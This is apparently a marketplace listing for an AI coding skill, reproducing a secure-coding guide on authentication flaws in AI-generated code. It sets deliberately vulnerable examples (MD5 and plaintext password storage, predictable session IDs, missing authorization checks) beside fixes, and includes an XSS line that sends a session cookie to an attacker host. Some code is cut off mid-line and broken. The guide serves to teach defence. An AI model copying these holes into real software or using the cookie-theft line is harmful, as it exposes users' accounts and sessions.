Install
$ agentstack add skill-harperaa-secure-claude-skills-auth-vulnerabilities ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ✓ Network access No
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Verified badge
Passed review? Show it. Paste this badge into your README, it links to the public security report.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
Authentication and Authorization Defects in AI-Generated Code
The Systemic Nature of Auth Vulnerabilities
A 2025 study by Databricks revealed:
> "AI-generated authentication systems frequently incorporate outdated patterns and fail to implement modern security practices, creating what we call 'authentication debt' in codebases."
The Statistics
The research found that:
- 73% of AI-generated authentication code lacked proper session management
- 81% stored passwords insecurely (MD5, SHA1, or plaintext)
These aren't edge cases—they're the norm in AI-generated authentication code.
1.2.1 Insecure Password Storage
The Problem
The most alarming finding from multiple studies is the prevalence of plaintext or weakly hashed password storage in AI-generated code.
As noted by Infisical's security team:
> "AI models trained on older codebases often suggest MD5 or SHA1 for password hashing, algorithms that have been cryptographically broken for over a decade."
AI-Generated Vulnerable Code
# Prompt: "Implement user registration with password"
import hashlib
import mysql.connector
def register_user(username, password, email):
conn = mysql.connector.connect(host='localhost', database='app')
cursor = conn.cursor()
# ❌ VULNERABLE: MD5 is cryptographically broken
password_hash = hashlib.md5(password.encode()).hexdigest()
# ❌ VULNERABLE: No salt means identical passwords have identical hashes
query = "INSERT INTO users (username, password, email) VALUES (%s, %s, %s)"
cursor.execute(query, (username, password_hash, email))
conn.commit()
return {"status": "success", "user_id": cursor.lastrowid}
# Even worse: Some AI models generate this
def register_user_worse(username, password, email):
# ❌ CRITICAL: Storing plaintext passwords
user_data = {
"username": username,
"password": password, # Never do this!
"email": email
}
database.save(user_data)
Secure Implementation
import bcrypt
import secrets
from datetime import datetime, timedelta
def register_user_secure(username, password, email):
# ✅ SECURE: Validate password strength
if len(password) Applications using managed authentication services (like Clerk, Auth0) had **73% fewer authentication-related vulnerabilities** than those with custom authentication.
**Why Clerk is Secure:**
- ✅ Uses bcrypt/Argon2 (modern, secure algorithms)
- ✅ Proper salt generation
- ✅ SOC 2 certified (audited security controls)
- ✅ Regular security updates
- ✅ Professional security team maintaining code
---
## 1.2.2 Broken Session Management
### The Problem
Research from The Hacker News found:
> "AI-generated session management code often lacks proper timeout mechanisms, secure cookie flags, and session fixation protection."
This creates multiple attack vectors for session hijacking.
### AI-Generated Vulnerable Code
```javascript
// Prompt: "Implement user sessions"
const sessions = {};
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (await validateCredentials(username, password)) {
// ❌ VULNERABLE: Predictable session ID
const sessionId = Buffer.from(username + Date.now()).toString('base64');
// ❌ VULNERABLE: No expiration
sessions[sessionId] = {
username: username,
loginTime: Date.now()
};
// ❌ VULNERABLE: Missing security flags
res.cookie('sessionId', sessionId);
res.json({ success: true });
}
});
app.get('/profile', (req, res) => {
const sessionId = req.cookies.sessionId;
// ❌ VULNERABLE: No session validation or renewal
if (sessions[sessionId]) {
const userData = getUserData(sessions[sessionId].username);
res.json(userData);
}
});
Multiple Vulnerabilities in This Code
1. Predictable Session IDs:
const sessionId = Buffer.from(username + Date.now()).toString('base64');
Problem:
- Attacker knows username (public)
- Can guess timestamp (Date.now() when login occurred)
- Can recreate session ID and hijack session
2. No Session Expiration:
sessions[sessionId] = { username, loginTime }
Problem:
- Session never expires
- Stolen session valid forever
- No automatic logout
3. Missing Cookie Security Flags:
res.cookie('sessionId', sessionId);
Problem:
- No
httpOnly: JavaScript can access (XSS steals session) - No
secure: Sent over HTTP (man-in-the-middle) - No
sameSite: Vulnerable to CSRF
4. In-Memory Storage:
const sessions = {};
Problem:
- Lost on server restart
- Doesn't scale (multiple servers)
- No persistence
5. No Session Validation:
if (sessions[sessionId]) { /* grant access */ }
Problem:
- No IP validation (session stolen from different location works)
- No user-agent check (different browser works)
- No session renewal (stale sessions accepted)
Secure Implementation
const crypto = require('crypto');
const redis = require('redis');
const client = redis.createClient();
// Session configuration
const SESSION_DURATION = 3600; // 1 hour in seconds
const SESSION_RENEWAL_THRESHOLD = 900; // Renew if less than 15 min remaining
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// ✅ SECURE: Rate limiting
const attempts = await getFailedAttempts(username);
if (attempts > 5) {
return res.status(429).json({ error: 'Too many failed attempts' });
}
if (await validateCredentials(username, password)) {
// ✅ SECURE: Cryptographically secure session ID
const sessionId = crypto.randomBytes(32).toString('hex');
// ✅ SECURE: Store session data in Redis with expiration
const sessionData = {
username: username,
loginTime: Date.now(),
lastActivity: Date.now(),
ipAddress: req.ip,
userAgent: req.get('user-agent')
};
await client.setex(
`session:${sessionId}`,
SESSION_DURATION,
JSON.stringify(sessionData)
);
// ✅ SECURE: Secure cookie configuration
res.cookie('sessionId', sessionId, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection
maxAge: SESSION_DURATION * 1000
});
// Clear failed attempts
await clearFailedAttempts(username);
res.json({ success: true });
} else {
await incrementFailedAttempts(username);
res.status(401).json({ error: 'Invalid credentials' });
}
});
// Middleware for session validation and renewal
async function validateSession(req, res, next) {
const sessionId = req.cookies.sessionId;
if (!sessionId) {
return res.status(401).json({ error: 'No session' });
}
const sessionData = await client.get(`session:${sessionId}`);
if (!sessionData) {
return res.status(401).json({ error: 'Invalid session' });
}
const session = JSON.parse(sessionData);
// ✅ SECURE: Validate session consistency
if (session.ipAddress !== req.ip) {
await client.del(`session:${sessionId}`);
return res.status(401).json({ error: 'Session invalidated' });
}
// ✅ SECURE: Automatic session renewal
const ttl = await client.ttl(`session:${sessionId}`);
if (ttl {
const userData = getUserData(req.session.username);
res.json(userData);
});
Why AI Generates Broken Sessions
1. Complexity Avoidance:
- Redis requires external dependency
- crypto.randomBytes() less common than Buffer/base64
- Proper session management is complex
2. Training Data Shortcuts:
- Tutorial code uses in-memory storage for simplicity
- Examples skip security flags for brevity
- AI learns simplified patterns
3. Functional Focus:
- Session "works" without security features
- Tests pass without expiration/renewal
- AI optimizes for functionality, not security
Session Attack Scenarios
Attack 1: Predictable ID Guessing
// Vulnerable session ID
sessionId = Buffer.from("john_doe" + "1704067200000").toString('base64');
// Attacker guesses:
// - Username: from public profile
// - Timestamp: login time (± few minutes)
// → Can recreate session ID
Attack 2: XSS Session Theft
// Without httpOnly flag
const sessionId = document.cookie.match(/sessionId=([^;]+)/)[1];
fetch('https://attacker.com/steal?session=' + sessionId);
// Steals session cookie via XSS
Attack 3: Session Fixation
// Attacker sets victim's session ID before login
// Victim logs in with attacker's session ID
// Attacker now logged in as victim
1.2.3 Broken Access Control
The Problem
According to analytics from ZenCoder:
> "Authorization bugs in AI-generated code are particularly dangerous because they often pass functional tests while leaving gaping security holes."
The AI frequently generates code that:
- ✅ Checks if user is authenticated (logged in)
- ❌ Fails to verify if user is authorized (has permission)
AI-Generated Vulnerable Code
# Prompt: "Create API to fetch user documents"
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/document/')
@require_login # Checks if user is logged in
def get_document(doc_id):
# ❌ VULNERABLE: No authorization check
# Any logged-in user can access any document
document = db.documents.find_one({'id': doc_id})
if document:
return jsonify(document)
else:
return jsonify({'error': 'Document not found'}), 404
@app.route('/api/user//profile')
@require_login
def get_user_profile(user_id):
# ❌ VULNERABLE: No verification that current user can access this profile
profile = db.profiles.find_one({'user_id': user_id})
return jsonify(profile)
Why This Is Vulnerable
Authentication ≠ Authorization
Authentication: "Who are you?"
- Proves identity (username + password, token, etc.)
- Confirms you are a valid user
Authorization: "What can you do?"
- Checks permissions for specific resources
- Verifies ownership or access rights
The Vulnerability:
@app.route('/api/document/')
@require_login # ✓ User authenticated
def get_document(doc_id):
document = db.documents.find_one({'id': doc_id})
return jsonify(document) # ✗ But can access ANY document!
Attack:
- Alice creates private document (doc_123)
- Bob logs in (authenticated)
- Bob requests
/api/document/doc_123 - Server returns Alice's private document ❌
Secure Implementation
from flask import Flask, request, jsonify, g
from functools import wraps
import jwt
app = Flask(__name__)
def require_authorization(resource_type):
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
# ✅ SECURE: Extract and verify JWT token
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
g.current_user = payload
except jwt.InvalidTokenError:
return jsonify({'error': 'Invalid token'}), 401
# ✅ SECURE: Check specific permissions
if resource_type == 'document':
doc_id = kwargs.get('doc_id')
if not can_access_document(g.current_user['id'], doc_id):
return jsonify({'error': 'Access denied'}), 403
elif resource_type == 'profile':
user_id = kwargs.get('user_id')
if not can_access_profile(g.current_user['id'], user_id):
return jsonify({'error': 'Access denied'}), 403
return f(*args, **kwargs)
return decorated_function
return decorator
def can_access_document(current_user_id, doc_id):
# ✅ SECURE: Verify document ownership or sharing permissions
document = db.documents.find_one({
'id': doc_id,
'$or': [
{'owner_id': current_user_id},
{'shared_with': current_user_id},
{'is_public': True}
]
})
return document is not None
def can_access_profile(current_user_id, target_user_id):
# ✅ SECURE: Users can only access their own profile or public profiles
if current_user_id == target_user_id:
return True
# Check if target profile is public
profile = db.profiles.find_one({'user_id': target_user_id})
return profile and profile.get('is_public', False)
@app.route('/api/document/')
@require_authorization('document')
def get_document(doc_id):
# ✅ SECURE: Additional access logging
log_access(g.current_user['id'], 'document', doc_id)
document = db.documents.find_one({'id': doc_id})
# ✅ SECURE: Sanitize sensitive fields based on permissions
if document['owner_id'] != g.current_user['id']:
document.pop('edit_history', None)
document.pop('internal_notes', None)
return jsonify(document)
@app.route('/api/user//profile')
@require_authorization('profile')
def get_user_profile(user_id):
profile = db.profiles.find_one({'user_id': user_id})
# ✅ SECURE: Return different data based on access level
if g.current_user['id'] != user_id:
# Return only public fields for other users
public_fields = ['username', 'bio', 'avatar_url', 'created_at']
profile = {k: v for k, v in profile.items() if k in public_fields}
return jsonify(profile)
Why AI Fails at Access Control
1. Function Over Security:
- Prompt: "Fetch user documents"
- AI focuses on "fetch" logic
- Skips "who can fetch" logic
2. Test Coverage Blind Spot:
- Functional test: "Can I fetch my documents?" ✓ Pass
- Security test: "Can I fetch other users' documents?" ✗ Not tested
- AI generates code that passes functional tests
3. Decorator Misunderstanding:
@require_loginseems security-related- AI assumes it's sufficient
- Doesn't add authorization logic
Access Control Attack Patterns
Attack 1: Direct Object Reference
# Vulnerable endpoint
GET /api/user/123/orders
# Attack: Change ID
GET /api/user/456/orders # Access other user's orders
Attack 2: Parameter Tampering
// Vulnerable code
app.delete('/api/post/:id', async (req, res) => {
await db.posts.delete({ id: req.params.id });
// Missing: check if current user owns this post
});
// Attack: Delete anyone's posts
DELETE /api/post/any-post-id
Attack 3: Privilege Escalation
# Vulnerable code
@app.route('/api/admin/users')
@require_login
def list_users():
return jsonify(db.users.find()) # Missing: check if user is admin
Real-World Authentication Breach Examples
Ashley Madison (2015)
- Vulnerability: Weak password hashing
- Impact: 32 million accounts compromised
- Outcome: Company reputation destroyed, lawsuits, executive resignations
Dropbox (2012)
- Vulnerability: Custom authentication system flaws
- Impact: 68 million accounts affected
- Outcome: Password hash database stolen, years of credential stuffing attacks
LinkedIn (2012)
- Vulnerability: Unsalted SHA-1 password hashing
- Impact: 117 million password hashes stolen
- Outcome: 90% cracked within days, used in attacks for years
Implementation: Secure Authentication with Clerk
For this Next.js project, use Clerk instead of building custom auth:
// app/api/protected/route.ts
import { auth } from '@clerk/nextjs/server';
import { handleUnauthorizedError, handleForbiddenError } from '@/lib/errorHandler';
export async function GET(request: NextRequest) {
// ✅ SECURE: Clerk handles authenti
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [harperaa](https://github.com/harperaa)
- **Source:** [harperaa/secure-claude-skills](https://github.com/harperaa/secure-claude-skills)
- **License:** MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.